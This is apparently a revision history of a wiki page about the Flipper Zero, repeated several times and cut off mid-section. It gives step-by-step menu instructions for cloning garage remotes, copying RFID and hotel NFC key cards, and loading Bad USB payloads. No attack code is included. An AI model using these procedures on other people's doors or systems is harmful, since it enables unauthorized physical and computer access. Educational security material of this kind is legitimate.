# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T10:43:47Z

ARessl: /* U2F */

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
Withe the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:

=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T10:43:25Z

ARessl: iButton

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
Withe the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
The Flipper Zero also supports iButtons which is a so called 1-Wire communication protocol. They are mostly used for storing cryptographic keys or serial numbers and for access control systems. Flipper Zero is able to read, write and emulate access control keys. Supported protocols are Dallas, Cyfral and Metakom.

In Austria they are not as common as in other countries, for example iButtons are used as access control for buildings in america or to authenticate cashiers in italian grocery shops.
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:
=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T10:10:20Z

ARessl: Bad USB steps

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
Withe the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

# First write a fitting payload for the target using the Rubber Ducky Scripting Language
# Copy the payload over onto the SD Card into the folder "badusb", either using qFlipper oder the Flipper Mobile App.
# Plug the Flipper Zero into a PC using the USB-C cable
# Open the desired payload inside the Bad USB menu and press the OK button to start it

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:
=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T09:42:14Z

ARessl: Added disclaimers

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

With this various hotel key cards can be easily copied and used. The success of such an attack is based on the used keys to encrypt the sectors of the NFC Cards in use. If the Flipper Zero knows the keys, e.g. the NFC key card utilizes well-known keys for encryption, a successful decryption and cloning of the NFC key card is almost guaranteed. If the key card uses a special token for authentication by generating a unique code every time the card is read, it is not possible to clone the card (or atleast not with the Flipper Zero). An example for this would be the NFC key card for a Tesla vehicle.

=== Infrared ===
Withe the Infrared sender and receiver it is possible to send well-known Infrared signals or learn new more unique signals to later on emulate them.
Examples for well-known remote signals that are already integrated into the Flipper Zero include:

* TVs
* HVACs
* Beamers
* Ventilators

If the goal is to turn on a TV the Flipper Zero bruteforces the correct signal by looping through every known TV "on" signal it has stored.
If a remote signal is not yet known to the Flipper Zero it can be easily added by pressing the original remote once thus sending the signal towards the Flipper Zero while the "learning mode" is active. This can be achieved by starting the tool "Learn New Remote" inside the Infrared category. The Flipper Zero than saves the signal and it can be emulated when needed.

=== GPIO ===
=== iButton ===
=== Bad USB ===
The Flipper Zero can act as a Bad USB device, similar to a Rubber Ducky (LINK), it also utilizes the same scripting language (Rubber Ducky Scripting Language). This allows the Flipper Zero to act as a Human Interface Device (HID), like a keyboard for example).

Currently the Flipper Zero only support the US keyboard layout, this may change in the future but for the time being it is only possible to emulate inputs using the US layout.
=== U2F ===
It is possible to use the Flipper Zero as a USB universal 2nd-factor (U2F) authentication token, to use as a second authentication factor when logging into accounts online.

# First connect the Flipper Zero with a PC or Laptop, if the qFlipper software is active close it.
# Next up open the U2F menu of the Flipper Zero, the screen should display "connected"
# In the web account where the two-factor authentication should be activated, for example Google or Github, follow the steps as instructed by the services until you are able to select "security key", or something similar, as a 2nd-factor authentication.
# On the website choose "security key" as the 2nd-factor authentication
# Lastly the Flipper Zero shows "Press OK to register", after clicking "OK" the registration of the Flipper Zero as a security key is accomplished.

It should be mentioned that the Flipper Zero website has a warning stating that for critical accounts or applications a special hardware key should be utilizes instead of the Flipper Zero because the Flipper Zero only offers the functionality using software. To use the Flipper Zero as a 2nd-factor token the following steps must be performed:
=== Applications ===
=== Settings ===

== References ==
* https://docs.flipperzero.one/

Flipper Zero

2023-02-27T09:39:37Z

ARessl: Bad USB

== Summary ==
[[File:Flipper_detail_front.png |thumb|right|400px||Flipper Zero Front]]
[[File:Flipper_detail_side.png |thumb|right|400px||Flipper Zero Side]]
The Flipper Zero is a gadget for penetration testers, system administrators and tech enthusiasts created by Flipper Devices Inc. The device allows capturing and transmitting of various Sub-GHz signals, such as Garage Openers or NFC chips, as-well as Infrared signals. Furthermore the device can be used as a Bad USB Stick and offers iButton capabilities.
Thanks to its small form factor it is a perfect device for covert operations.

== Description ==

=== Setting up the Flipper Zero ===

# Open the box containing the Flipper Zero and boot it by holding down the back button
# To use the full potential of the Flipper Zero an Micro SD-Card is needed. Insert it into the right bottom of the flipper with the pins of the SD-Card facing upwards.
# After successful installation of the Micro SD-Card, a little SD-Card symbol appears on the top left of the Flipper Zero GUI.
# Finally for the best experience the Firmware should be updated, this point is explained in more detail in the section "Firmware Update".

=== Firmware Update ===
To update the device either connect the Flipper Zero to a PC via a USB-C cable or connect it to a mobile phone using Bluetooth and use the "Flipper" app. In this guide a PC is used for the firmware update.

# First download qFlipper from the official Flipper Zero website https://flipperzero.one/update
# After installation start the application and connect the Flipper Zero, it should show the connected device in the GUI.
[[File:qFlipper_update.png|400px||qFlipper showing pending update]]
# <li value="3">Next click the Update button to initiate the update process, this process can take a few minutes.</li>
[[File:qFlipper_update_progress.png|400px||qFlipper update progess]]
# <li value="4">After successfully updating the device, the qFlipper software shows the new version number and the Flipper Zero displays "Firmware update success". Now the device is ready to be used again.</li>

== Use Cases ==

As already mentioned there are many different use cases for the Flipper Zero, such as Sub-GHz signal analyzing and cloning, NFC spoofing or controlling of Infrared devices.
In this section some examples for different use cases will be given as well as a basic explanation of how various attacks can be performed.

The use cases are divided into the corresponding categories of the Flipper Zero.

=== Sub-GHz ===
With the Sub-GHz module various attacks up to 50 meters are possible in the following bands, 300-348 MHz, 387-464 MHz, and 779-928 MHz.

A basic attack in this regard would be the cloning of a garage door remote signal, to freely open and close a garage door.
For this to work the Flipper Zero first needs to be configured to the corresponding band of the original garage remote.

# First open the "Frequency Analyzer" tool inside the Sub-GHz category.
# Press the garage door remote to send out a signal.
# The Flipper Zero will automatically display the frequency of the captured signal.
# Next go back and open the "Read" tool
# Open the config with the *left* button and set the appropriate frequency band from the captured signal
# Press the garage door remote again and if the Flipper Zero supports the protocol it will be possible to save the opening signal
# If the Flipper Zero does not detect a valid signal, try to modify the modulation in the settings of the "Read" tool or it could be possible that the Flipper Zero does not yet support the protocol of the garage door.

After a signal is captured it is possible to either save or discard it. Saved signals can be triggered via the "Saved" menu. Using this it is possible to create clones of existing garage door remotes. This is just a basic attack, but it shows the capabilities of the Flipper Zero very clearly, not only garage door remotes can be cloned and utilized, almost anything inside the supported range spectrum can be easily copied and used accordingly. Only difference in this regards would be if the devices use a so called "rolling code". If rolling codes are used a signal can be read and cloned but is useless, as the underlying "code" is unknown. The most probable outcome copying such as signal and resending it would be that the original sender gets blocked by the garage door or the corresponding receiver.

=== 125 kHz RFID ===
With the 125 kHz RFID module the reading, saving, emulating and writing of LF RFID cards is possible. This includes animal chips, access control systems and supply chain tracking systems. A big difference with NFC is the lack of security.

# First open the "Read" tool inside the RFID category.
# Next hold the Flipper Zero close to the chip itself, for example an animal chip.
# The Flipper Zero will automatically start reading the data on the chip and display it accordingly.
# This data can then be saved and used for later emulation.

ASK and PSK chips are supported by the Flipper Zero.
=== NFC ===
With the NFC module the reading, saving, emulating and writing of 13.56 MHz NFC signals is possible. This ranges from key cards, like hotel entry cards and door openers, to toys that utilize NFC signals.

# First open the "Read" tool inside the NFC category.
# Next hold the Flipper Zero close next to the desired key card.
# As soon as the Flipper Zero detects the card it will start decrypting the sectors of it.
# If well-known keys are used and the key card can be decrypted it is possible to save the key card for later emulation or writing onto a blank NFC card.

